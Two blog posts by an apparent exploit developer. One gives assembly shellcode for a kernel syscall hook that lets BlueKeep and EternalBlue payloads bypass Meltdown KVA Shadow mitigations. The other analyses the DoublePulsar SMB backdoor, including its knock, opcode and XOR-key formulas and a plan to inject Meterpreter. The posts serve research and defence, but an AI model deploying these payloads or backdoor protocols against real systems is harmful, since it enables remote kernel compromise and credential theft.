Showing posts with label eternalblue. Show all posts
Showing posts with label eternalblue. Show all posts

Thursday, November 7, 2019

Fixing Remote Windows Kernel Payloads to Bypass Meltdown KVA Shadow

Update 11/8/2019: @sleepya_ informed me that the call-site for BlueKeep shellcode is actually at PASSIVE_LEVEL. Some parts of the call gadget function acquire locks and raise IRQL, causing certain crashes I saw during early exploit development. In short, payloads can be written that don't need to deal with KVA Shadow. However, this writeup can still be useful for kernel exploits such as EternalBlue and possibly future others.

Background 

BlueKeep is a fussy exploit. In a lab environment, the Metasploit module can be a decently reliable exploit*. But out in the wild on penetration tests the results have been... lackluster.

While I mostly blamed my failed experiences on the mystical reptilian forces that control everything, something inside me yearned for a more difficult explanation.

After the first known BlueKeep attacks hit this past weekend, a tweet by sleepya slipped under the radar, but immediately clued me in to at least one major issue.

Turns out my BlueKeep development labs didn't have the Meltdown patch, yet out in the wild it's probably the most common case.

tl;dr: Side effects of the Meltdown patch inadvertently breaks the syscall hooking kernel payloads used in exploits such as EternalBlue and BlueKeep. Here is a horribly hacky way to get around it... but: it pops system shells so you can run Mimikatz, and after all isn't that what it's all about?

Galaxy Brain tl;dr: Inline hook compatibility for both KiSystemCall64Shadow and KiSystemCall64 instead of replacing IA32_LSTAR MSR.

PoC||GTFO: Experimental MSF BlueKeep + Meltdown Diff GitHub

* Fine print: BlueKeep can be reliable with proper knowledge of the NPP base address, which varies radically across VM families due to hotfix memory increasing the PFN table size. There's also an outstanding issue or two with the lock in the channel structure, but I digress.

Meltdown CPU Vulnerability 

Meltdown (CVE-2017-5754), released alongside Spectre as "Variant 3", is a speculative execution CPU bug announced in January 2018.

As an optimization, modern processors are loading and evaluating and branching ("speculating") way before these operations are "actually" to be run. This can cause effects that can be measured through side channels such as cache timing attacks. Through some clever engineering, exploitation of Meltdown can be abused to read kernel memory from a rogue userland process.

KVA Shadow 

Windows mitigates Meltdown through the use of Kernel Virtual Address (KVA) Shadow, known as Kernel Page-Table Isolation (KPTI) on Linux, which are differing implementations of the KAISER fix in the original whitepaper.

When a thread is in user-mode, its virtual memory page tables should not have any knowledge of kernel memory. In practice, a small subset of kernel code and structures must be exposed (the "Shadow"), enough to swap to the kernel page tables during trap exceptions, syscalls, and similar.

Switching between user and kernel page tables on x64 is performed relatively quickly, as it is just swapping out a pointer stored in the CR3 register.

KiSystemCall64Shadow Changes 

The above illustrated process can be seen in the patch diff between the old and new NTOSKRNL system call routines.

Here is the original KiSystemCall64 syscall routine (before Meltdown):

The swapgs instruction changes to the kernel gs segment, which has a KPCR structure at offset 0. The user stack is stored at gs:0x10 (KPCR->UserRsp) and the kernel stack is loaded from gs:0x1a8 (KPCR->Prcb.RspBase).

Compare to the KiSystemCall64Shadow syscall routine (after the Meltdown patch):

  1. Swap to kernel GS segment
  2. Save user stack to KPCR->Prcb.UserRspShadow
  3. Check if KPCR->Prcb.ShadowFlags first bit is set
    • Set CR3 to KPCR->Prcb.KernelDirectoryTableBase
  4. Load kernel stack from KPCR->Prcb.RspBaseShadow

The kernel chooses whether to use the Shadow version of the syscall at boot time in nt!KiInitializeBootStructures, and sets the ShadowFlags appropriately.

NOTE: I have highlighted the common push 2b instructions above, as they will be important for the shellcode to find later on.

Existing Remote Kernel Payloads 

The authoritative guide to kernel payloads is in Uninformed Volume 3 Article 4 by skape and bugcheck. There you can read all about the difficulties in tasks such as lowering IRQL from DISPATCH_LEVEL to PASSIVE_LEVEL, as well as moving code execution out from Ring 0 and into Ring 3.

Hooking IA32_LSTAR MSR 

In both EternalBlue and BlueKeep, the exploit payloads start at the DISPATCH_LEVEL IRQL.

To oversimplify, on Windows NT the processor Interrupt Request Level (IRQL) is used as a sort of locking mechanism to prioritize different types of kernel interrupts. Lowering the IRQL from DISPATCH_LEVEL to PASSIVE_LEVEL is a requirement to access paged memory and execute certain kernel routines that are required to queue a user mode APC and escape Ring 0. If IRQL is dropped artificially, deadlocks and other bugcheck unpleasantries can occur.

One of the easiest, hackiest, and KPP detectable ways (yet somehow also one of the cleanest) is to simply write the IA32_LSTAR (0xc000082) MSR with an attacker-controlled function. This MSR holds the system call function pointer.

User mode executes at PASSIVE_LEVEL, so we just have to change the syscall MSR to point at a secondary shellcode stage, and wait for the next system call allowing code execution at the required lower IRQL. Of course, existing payloads store and change it back to its original value when they're done with this stage.

Double Fault Root Cause Analysis 

Hooking the syscall MSR works perfectly fine without the Meltdown patch (not counting Windows 10 VBS mitigations, etc.). However, if KVA Shadow is enabled, the target will crash with a UNEXPECTED_KERNEL_MODE_TRAP (0x7F) bugcheck with argument EXCEPTION_DOUBLE_FAULT (0x8).

We can see that at this point, user mode can see the KiSystemCall64Shadow function:

However, user mode cannot see our shellcode location:

The shellcode page is NOT part of the KVA Shadow code, so user mode doesn't know of its existence. The kernel gets stuck in a recursive loop of trying to handle the page fault until everything explodes!

Hooking KiSystemCall64Shadow 

So the Galaxy Brain moment: instead of replacing the IA32_LSTAR MSR with a fake syscall, how about just dropping an inline hook into KiSystemCall64Shadow? After all, the KVASCODE section in ntoskrnl is full of beautiful, non-paged, RWX, padded, and userland-visible memory.

Heuristic Offset Detection 

We want to accomplish two things:

  1. Install our hook in a spot after kernel pages CR3 is loaded.
  2. Provide compatibility for both KiSystemCall64Shadow and KiSystemCall64 targets.

For this reason, I scan for the push 2b sequence mentioned earlier. Even though this instruction is 2-bytes long (also relevant later), I use a 4-byte heuristic pattern (0x652b6a00 little endian) as the preceding byte and following byte are stable in all versions of ntoskrnl that I analyzed.

The following shellcode is the 0th stage that runs after exploitation:

payload_start:
; read IA32_LSTAR
    mov ecx, 0xc0000082         
    rdmsr

    shl rdx, 0x20
    or rax, rdx                 
    push rax

; rsi = &KiSystemCall64Shadow
    pop rsi                      

; this loop stores the offset to push 2b into ecx
_find_push2b_start:
    xor ecx, ecx
    mov ebx, 0x652b6a00

_find_push2b_loop:
    inc ecx
    cmp ebx, dword [rsi + rcx - 1]
    jne _find_push2b_loop

This heuristic is amazingly solid, and keeps the shellcode portable for both versions of the system call. There are even offset differences between the Windows 7 and Windows 10 KPCR structure that don't matter thanks to this method.

The offset and syscall address are stored in a shared memory location between the two stages, for dealing with the later cleanup.

Atomic x64 Function Hooking 

It is well known that inline hooking on x64 comes with certain annoyances. All code overwrites need to be atomic operations in order to not corrupt the executing state of other threads. There is no direct jmp imm64 instruction, and early x64 CPUs didn't even have a lock cmpxchg16b function!

Fortunately, Microsoft has hotpatching built into its compiler. Among other things, this allows Microsoft to patch certain functionality or vulnerabilities of Windows without needing to reboot the system, if they like. Essentially, any function that is hotpatch-able gets padded with NOP instructions before its prologue. You can put the ultimate jmp target code gadgets in this hotpatch area, and then do a small jmp inside of the function body to the gadget.

We're in x64 world so there's no classic mov edi, edi 2-byte NOP in the prologue; however in all ntoskrnl that I analyzed, there were either 0x20 or 0x40 bytes worth of NOP preceding the system call routine. So before we attempt to do anything fancy with the small jmp, we can install the BIG JMP function to our fake syscall:

; install hook call in KiSystemCall64Shadow NOP padding
install_big_jmp:

; 0x905748bf = nop; push rdi; movabs rdi &fake_syscall_hook;
    mov dword [rsi - 0x10], 0xbf485790 
    lea rdi, [rel fake_syscall_hook]
    mov qword [rsi - 0xc], rdi

; 0x57c3 = push rdi; ret;
    mov word [rsi - 0x4], 0xc357

; ... 

fake_syscall_hook:

; ...

Now here's where I took a bit of a shortcut. Upon disassembling C++ std::atomic<std::uint16_t>, I saw that mov word ptr is an atomic operation (although sometimes the compiler will guard it with the poetic mfence).

Fortunately, small jmp is 2 bytes, and the push 2b I want to overwrite is 2 bytes.

; install tiny jmp to the NOP padding jmp
install_small_jmp:

; rsi = &syscall+push2b
    add rsi, rcx

; eax = jmp -x
; fix -x to actual offset required
    mov eax, 0xfeeb
    shl ecx, 0x8
    sub eax, ecx
    sub eax, 0x1000

; push 2b => jmp -x;
    mov word [rsi], ax        

And now the hooks are installed (note some instructions are off because of x64 instruction variable length and alignment):

On the next system call: the kernel stack and page tables will be loaded, our small jmp hook will goto big jmp which will goto our fake syscall handler at PASSIVE_LEVEL.

Cleaning Up the Hook 

Multiple threads will enter into the fake syscall, so I use the existing sleepya_ locking mechanism to only queue a single APC with a lock:

; this syscall hook is called AFTER kernel stack+KVA shadow is setup
fake_syscall_hook:

; save all volatile registers
    push rax
    push rbp
    push rcx
    push rdx
    push r8
    push r9
    push r10
    push r11

    mov rbp, STAGE_SHARED_MEM

; use lock cmpxchg for queueing APC only one at a time
single_thread_gate:
    xor eax, eax
    mov dl, 1
    lock cmpxchg byte [rbp + SINGLE_THREAD_LOCK], dl
    jnz _restore_syscall

; only 1 thread has this lock
; allow interrupts while executing ring0 to ring3
    sti
    call r0_to_r3
    cli

; all threads can clean up
_restore_syscall:

; calculate offset to 0x2b using shared storage
    mov rdi, qword [rbp + STORAGE_SYSCALL_OFFSET]
    mov eax, dword [rbp + STORAGE_PUSH2B_OFFSET]
    add rdi, rax

; atomic change small jmp to push 2b
    mov word [rdi], 0x2b6a

All threads restore the push 2b, as the code flow results in less bytes, no extra locking, and shouldn't matter.

Finally, with push 2b restored, we just have to restore the stack and jmp back into the KiSystemCall64Shadow function.

_syscall_hook_done:

; restore register values
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdx
    pop rcx
    pop rbp
    pop rax

; rdi still holds push2b offset!
; but needs to be restored

; do not cause bugcheck 0xc4 arg1=0x91
    mov qword [rsp-0x20], rdi
    pop rdi

; return to &KiSystemCall64Shadow+push2b
    jmp [rsp-0x28]

You end up with a small chicken and egg problem at the end. You want to keep the stack pristine. My first naive solution ended in a DRIVER_VERIFIER_DETECTED_VIOLATION (0xc4) bugcheck, so I throw the return value deep in the stack out of laziness.

Conclusion 

Here is a BlueKeep exploit with the new payload against the February 20, 2019 NT kernel, one of the more likely scenarios for a target patched for Meltdown yet still vulnerable to BlueKeep. The Meterpreter session stays alive for a few hours so I'm guessing KPP isn't fast enough just like with the IA32_LSTAR method.

It's simple, it's obvious, it's hacky; but it works and so it's what you want.

Friday, April 21, 2017

DoublePulsar Initial SMB Backdoor Ring 0 Shellcode Analysis

One week ago today, the Shadow Brokers (an unknown hacking entity) leaked the Equation Group's (NSA) FuzzBunch software, an exploitation framework similar to Metasploit. In the framework were several unauthenticated, remote exploits for Windows (such as the exploits codenamed EternalBlue, EternalRomance, and EternalSynergy). Many of the vulnerabilities that are exploited were fixed in MS17-010, perhaps the most critical Windows patch in almost a decade.

Side note: You can use my MS17-010 Metasploit auxiliary module to scan your networks for systems missing this patch (uncredentialed and non-intrusive). If a missing patch is found, it will also check for an existing DoublePulsar infection.

Introduction

For those unfamiliar, DoublePulsar is the primary payload used in SMB and RDP exploits in FuzzBunch. Analysis was performed using the EternalBlue SMBv1/SMBv2 exploit against Windows Server 2008 R2 SP1 x64.

The shellcode, in tl;dr fashion, essentially performs the following:

  • Step 0: Shellcode sorcery to determine if x86 or x64, and branches as such.
  • Step 1: Locates the IDT from the KPCR, and traverses backwards from the first interrupt handler to find ntoskrnl.exe base address (DOS MZ header).
  • Step 2: Reads ntoskrnl.exe's exports directory, and uses hashes (similar to usermode shellcode) to find ExAllocPool/ExFreePool/ZwQuerySystemInformation functions.
  • Step 3: Invokes ZwQuerySystemInformation() with the enum value SystemQueryModuleInformation, which loads a list of all drivers. It uses this to locate Srv.sys, an SMB driver.
  • Step 4: Switches the SrvTransactionNotImplemented() function pointer located at SrvTransaction2DispatchTable[14] to its own hook function.
  • Step 5: With secondary DoublePulsar payloads (such as inject DLL), the hook function sees if you "knock" correctly and allocates an executable buffer to run your raw shellcode. All other requests are forwarded directly to the original SrvTransactionNotImplemented() function. "Burning" DoublePulsar doesn't completely erase the hook function from memory, just makes it dormant.

After exploitation, you can see the missing symbol in the SrvTransaction2DispatchTable. There are supposed to be 2 handlers here with the SrvTransactionNotImplemented symbol. This is the DoublePulsar backdoor (array index 14):

Honestly, you don't usually wake up in the morning and feel like spending time dissecting ~3600 some odd bytes of Ring-0 shellcode, but I felt productive today. Also I was really curious about this payload and didn't see many details about it outside of Countercept's analysis of the DLL injection code. But I was interested in how the initial SMB backdoor is installed, which is what this post is about.

Zach Harding, Dylan Davis, and I kind of rushed through it in a few hours in our red team lab at RiskSense. There is some interesting setup in the EternalBlue exploit with the IA32_LSTAR syscall MSR (0xc000082) and a region of the Srv.sys containing FEFEs, but I will instead focus on just the raw DoublePulsar methodology... Much like the EXTRABACON shellcode, this one is crafty and does not simply spawn a shell.

Detailed Shellcode Analysis

Inside the Shadow Brokers dump you can find DoublePulsar.exe and EternalBlue.exe. When you use DoublePulsar in FuzzBunch, there is an option to spit its shellcode out to a file. We found out this is a red herring, and that the EternalBlue.exe contained its own payload.

Step 0: Determine CPU Architecture

The main payload is quite large because it contains shellcode for both x86 and x64. The first few bytes use opcode trickery to branch to the correct architecture (see my previous article on assembly architecture detection).

Here is how x86 sees the first few bytes.

You'll notice that inc eax means the je (jump equal/zero) instruction is not taken. What follows is a call and a pop, which is to get the current instruction pointer.

And here is how x64 sees it:

The inc eax byte is instead the REX preamble for a NOP. So the zero flag is still set from the xor eax, eax operation. Since x64 has RIP-relative addressing it doesn't need to get the RIP register.

The x86 payload is essentially the same thing as the x64 so this post only focuses on x64.

Since the NOP was a true NOP on x64, I overwrote the 40 90 with cc cc (int 3) using a hex editor. Interrupt 3 is how debuggers set software breakpoints.

Now when the system is exploited, our attached kernel debugger will automatically break when the shellcode starts executing.

Step 1: Find ntoskrnl.exe Base Address

Once the shellcode figures out it is x64 it begins to search for the base of ntoskrnl.exe. This is done with the following stub:

Fairly straightforward code. In user mode, the GS segment for x64 contains the Thread Information Block (TIB), which holds the Process Environment Block (PEB), a struct which contains all kinds of information about the current running process. In kernel mode, this segment instead contains the Kernel Process Control Region (KPCR), a struct which at offset zero actually contains the current process PEB.

This code grabs offset 0x38 of the KPCR, which is the "IdtBase" and contains a pointer struct of KIDTENTRY64. Those familiar with the x86 family will know this is the Interrupt Descriptor Table.

At offset 4 into the KIDENTRY64 struct you can get a function pointer to the interrupt handler, which is code defined inside of ntoskrnl.exe. From there it searches backwards in memory in 0x1000 increments (page size) for the .exe DOS MZ header (cmp bx, 0x5a4d).

Step 2: Locate Necessary Function Pointers

Once you know where the MZ header of a PE file is, you can peek into defined offsets for the export directory and get the relative virtual address (RVA) of any function you want. Userland shellcode does this all the time, usually to find necessary functions it needs out of ntdll.dll and kernel32.dll. Just like most userland shellcode, this ring 0 shellcode also uses a hashing algorithm instead of hard-coded strings in order to find the necessary functions.

The following functions are found:

ExAllocatePool can be used to create regions of executable memory, and ExFreePool can clean it up when done. These are important so the shellcode can allocate space for its hooks and other functions. ZwQuerySystemInformation is important in the next step.

Step 3: Locate Srv.sys SMB Driver

A feature of ZwQuerySystemInformation is a constant named SystemQueryModuleInformation, with the value 0xb. This gives a list of all loaded drivers in the system.

The shellcode then searched this list for two different hashes, and it landed on Srv.sys, which is one of the main drivers that SMB runs on.

The process here is basically equivalent to getting PEB->Ldr in userland, which lets you iterate loaded DLLs. Instead, it was looking for the SMB driver.

Step 4: Patch the SMB Trans2 Dispatch Table

Now that the DoublePulsar shellcode has the main SMB driver, it iterates over the .sys PE sections until it gets to the .data section.

Inside of the .data section is generally global read/write memory, and stored here is the SrvTransaction2DispatchTable, an array of function pointers that handle different SMB tasks.

The shellcode allocates some memory and copies over the code for its function hook.

Next the shellcode stores the function pointer for the dispatch named SrvTransactionNotImplemented() (so that it can call it from within the hook code). It then overwrites this member inside SrvTransaction2DispatchTable with the hook.

That's it. The backdoor is complete. Now it just returns up its own call stack and does some small cleanup chores.

Step 5: Send "Knock" and Raw Shellcode

Now when DoublePulsar sends its specific "knock" requests (which are seen as invalid SMB calls), the dispatch table calls the hooked fake SrvTransactionNotImplemented() function. Odd behavior is observed: normally the SMB response MultiplexID must match the SMB request MultiplexID, but instead it is incremented by a delta, which serves as a status code.

Operations are hidden in plain sight via steganography, which do not have proper dissectors in Wireshark.

The status codes (via MultiplexID delta) are:

  • 0x10 = success
  • 0x20 = invalid parameters
  • 0x30 = allocation failure

The opcode list is as follows:

  • 0x23 = ping
  • 0xc8 = exec
  • 0x77 = kill

You can tell which opcode was called by using the following algorithm:

t = SMB.Trans2.Timeout
op = (t) + (t >> 8) + (t >> 16) + (t >> 24);

Conversely, you can make the packet using this algorithm, where k is randomly generated:

op = 0x23
k = 0xdeadbeef
t = 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00

Sending a ping opcode in a Trans2 SESSION_SETUP request will yield a response that holds part of a XOR key that needs to be calculated for exec requests.

The "XOR key" algorithm is:

s = SMB.Signature1
x = 2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))

More shellcode can be sent with a Trans2 SESSION_SETUP request and exec opcode. The shellcode is sent in the "data payload" part of the packet 4096 bytes at a time, using the XOR key as a basic stream cipher. The backdoor will allocate an executable region of memory, decrypt and copy over the shellcode, and run it. The Inject DLL payload is simply some DLL loading shellcode prepended to the DLL you actually want to inject.

We can see the hook is installed at SrvTransaction2DispatchTable+0x70 (112/8 = index 14):

And of course the full disassembly listing.

Conclusion

There you have it, a highly sophisticated, multi-architecture SMB backdoor. The world probably did not need a remote Windows kernel payload this advanced being spammed across the Internet. It's an unique payload, because you can infect a system, lay low for a little bit, and come back later when you want to do something more intrusive. It also finds a nice place in the system to hide out and not alert built-in defenses like PatchGuard. It is unclear if newer versions of PatchGuard, such as those in Windows 10, already detect this hook. We can expect them to be added if not.

Usually we only get to see kernel shellcode in local exploits, as it swaps process tokens in order to privilege escalate. However, Microsoft does many networking things in the kernel, such as Srv.sys and HTTP.sys. The techniques demonstrated are in many ways completely analagous to how usermode shellcode operates during remote exploits.

If/when this gets ported over to Metasploit, I would probably not copy this verbatim, and rather skip the backdoor idea. It isn't the most secure thing to do, as it's not a big secret anymore and anyone else can come along and use your backdoor.

Here's what can be done instead:

  1. Obtain ntoskrnl.exe address in the same fashion as DoublePulsar, and read export directory for necessary functions to perform the next operations.
  2. Spawn a hidden process (such as notepad.exe).
  3. Queue an APC with Meterpreter payload.
  4. Resume process, and exit the kernel cleanly.

Every major malware family, from botnets to ransomware to banking spyware, will eventually add the exploits in the FuzzBunch toolkit to their arsenal. This payload is simply a mechanism to load more malware with full system privileges. It does not open new ports, or have any real encryption or other features to prevent others from taking advantage of the same hole, making the attribution game for digital forensic investigators even more difficult. This is a jewel compared to the scraps that were given to Stuxnet. It comes in a more dangerous era than the days of Conficker. Given the persistence of the missing MS08-067 patch, we could be in store for a decade of breaches emanating from MS17-010 exploits. It is the perfect storm for one of the most damaging malware infections in computing history.